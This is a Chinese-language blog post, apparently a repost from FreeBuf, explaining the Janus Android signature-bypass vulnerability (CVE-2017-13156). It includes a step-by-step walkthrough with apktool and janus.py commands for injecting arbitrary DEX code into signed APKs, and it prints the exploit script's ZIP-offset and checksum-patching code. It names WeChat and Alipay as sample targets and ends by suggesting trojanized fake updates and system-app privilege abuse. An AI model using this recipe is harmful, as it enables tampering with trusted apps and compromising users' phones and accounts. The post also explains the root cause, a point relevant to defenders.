记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

安卓上的核弹级漏洞 Janus

2017-12-23 11:45

12月的安卓漏洞公告中修复一个编号为CVE-2017-13156的漏洞,是做 安卓 加固产品 DexGuard的那家公司发现的,周五就有人在 github 上公开了 POC。仔细看了一下,这个漏洞可谓是一个核弹级的大杀器,称之为今年 安卓 漏洞的 No.1也不为过,危害非常大。

熟悉 安卓 安全的童鞋,可能知道曾经风靡一时的 MasterKey 漏洞,Jansu 漏洞与 MasterKey 比较相似,它可以让我们对任何 APP 进行修改,加入任何代码,然后编译成 DEX 插入到原来的 APK 文件里,神奇的是,利用这个漏洞修改后的 APK,安卓系统会认为它的签名和修改之前的正版应用的签名一样,可以作为之前那个正版应用的更新安装,直接将原来的正版应用覆盖掉。而且,它比MasterKey 用起来更简单,利用 POC 生成工具,一条命令就可以生成(我仿佛看到某些人已经漏出猥琐的笑容。。。)

下面我们就测试一下,首先准备好工具

1 Apktool 或者 APK 改之理,用于重新打包应用

https://ibotpeaches.github.io/Apktool/ 建议从官网下载,前两天刚爆出 Apktool 的漏洞

2 janus 漏洞利用脚本,只要其中的 janus.py 文件即可

https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156

3 目标 APK,比如微信、支付宝啊之类的

然后,开整!其实只要四步

# 第一步
# 使用 Apktool 对 APK 进行解包,如果失败,可以忽略资源,或者直接从 apk 解出 dex 文件,直接处理 dex 文件,其他的文件都是没用的
$ apktool d target.apk

# 第二步
# 对 smali 代码进行修改,什么?你不会改,去百度一下吧,或者写个 app,用 java 写你想要的代码,然后编译成 apk,然后反编译,找到那段代码,复制粘贴吧

# 第三步
# 对修改好的代码编译成 apk 或者 dex
$ apktool b target_dir

# 第四步
# 将第三步生成的 Apk 解压,得到其中的 classes.dex 文件,使用漏洞利用工具将其注入到目标 APK 中
$ python janus.py classes.dex target.apk out.apk

是不是很简单?只比把大象装进冰箱多一步而已。。。然后就可以将 生成的 APK 装入手机运行了。

然后,我们将生成的APK文件与原来的 DEX 文件比较一下,如下图

15130145697362.png

可以看到APK 文件的前面被插入一个 DEX 文件,也就是说一个 APK 文件的头部是一个 Dex 文件,而不是PK标志开始?!!看到这一点,我不由自主的惊呆了,一脸懵逼中。。

难打 安卓 不验证 APK 开始的 PK 标志吗?答案是确实不会验证!这就是 Janus 漏洞!!感兴趣的童鞋可以看一下 google 的修复方式,就是加了几行代码,验证APK文件开始处是否具有 PK 标志。。。

那么,漏洞利用工具工具是怎么将 DEX 附加到 APK 前面的呢,难道插入进去就可以了?显然不是,我们来看看 janus.py 的代码

    _, dex, apk, out_apk = sys.argv

   with open(dex, 'rb') as f:
       dex_data = bytearray(f.read())
   dex_size = len(dex_data)

   with open(apk, 'rb') as f:
       apk_data = bytearray(f.read())
   
   cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
   cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
   apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

   pos = cd_start_addr
   while (pos < cd_end_addr):
       offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
       apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
       pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
       if pos == -1:
           break

   out_data = dex_data + apk_data
   out_data[32:36] = struct.pack("<L", len(out_data))
   update_checksum(out_data)

   with open(out_apk, "wb") as f:
       f.write(out_data)

   print ('%s generated' % out_apk)

这里需要对 ZIP 结构有所了解才会看懂,可以百度一下 关于ZIP 的结构的知识。代码中主要修复了三个点,ZIP 的末尾是一个 ZIP End Of Central Direcotory 结构,要解析 ZIP 文件,必须首先找到这个结构,他有一个重要的成员就是 Central Directory 的偏移地址,由于janus修改后的 APK头部插入了 DEX 文件,所以实际的偏移变了,修复方式是加上 插入的 DEX 文件的大小,下面三行代码就是用来做这个的

    cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
   cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
   apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

解析 ZIP 文件,再找到ZIP End Of Central Direcotory,在里面找到Central Directory 的偏移地址,然后就开始解析Central Directory 的每个 Entry,这里的每个 Entry 都代表zip 中的一个文件,Entry 里面记录该文件压缩后的数据的偏移地址,janus 修改的 APK 文件头部插入了 DEX 文件,这里的偏移也会改变,也需要修复,修复方式也是加上头部那个 DEX 文件的大小,下面几行代码就是遍历每一个 Entry,并修复偏移


   pos = cd_start_addr
   while (pos < cd_end_addr):
       offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
       apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
       pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
       if pos == -1:
           break

这样之后,就可以的头部插入 DEX 文件了,但是还有一个文件是,DEX 文件头部有几个成员,比如 dex 文件大小 、alder32的 校验值和 sha1校验值,想要让安卓认为这是一个有效的 DEX 文件,必须修复这些值,代码中调用了update_checksum函数来做这个

def update_checksum(data):
   m = hashlib.sha1()
   m.update(data[32:])
   data[12:12+20] = m.digest()

   v = adler32(buffer(data[12:])) & 0xffffffff
   data[8:12] = struct.pack("<L", v)

这样之后,APK 就可以正常安装了,而且,系统在运行 APK 的时候,会认为这是一个 DEX 文件,ARM 可以直接运行 dex 文件,所以直接运行了我们插入的 DEX 文件

相信看到这里,大家对jansus 漏洞的形成和利用都已经很明白了,是不是很简单?不过注意一点,你插入的代码不可以包含对资源的引用,只能包含纯代码,一切可以放到的 dex 里的都可以插入。

最后随便 yy 一下,比如你将微信、支付宝这类 应用,使用 janus 插入一下代码,生成一个 APK 包,然后利用通过一些手段,下载到手机上,并展示一个更新提示用户安装新版本的 APP,安卓就会认为他是正版的更新,直接覆盖正版的 APP。再比如,你的手机无法 root,但是你想对 微信、支付宝之类的 app 进行分析,也可以使用 janus 插入一下代码,加载其他一些模块,比如 frida,对关键 API 进行 hook,就可以对app 尽情分析,不必担心 root。再比如,你可以用 janus 对一个系统 app 插入代码,他会具有 系统 app 的权限。。。

总之,可以做的事情很多,大家可以尽情发挥,Happy Hacking~

知识来源: www.freebuf.com/column/158046.html

阅读:114660 | 评论:0 | 标签:专栏 漏洞利用 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“安卓上的核弹级漏洞 Janus”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云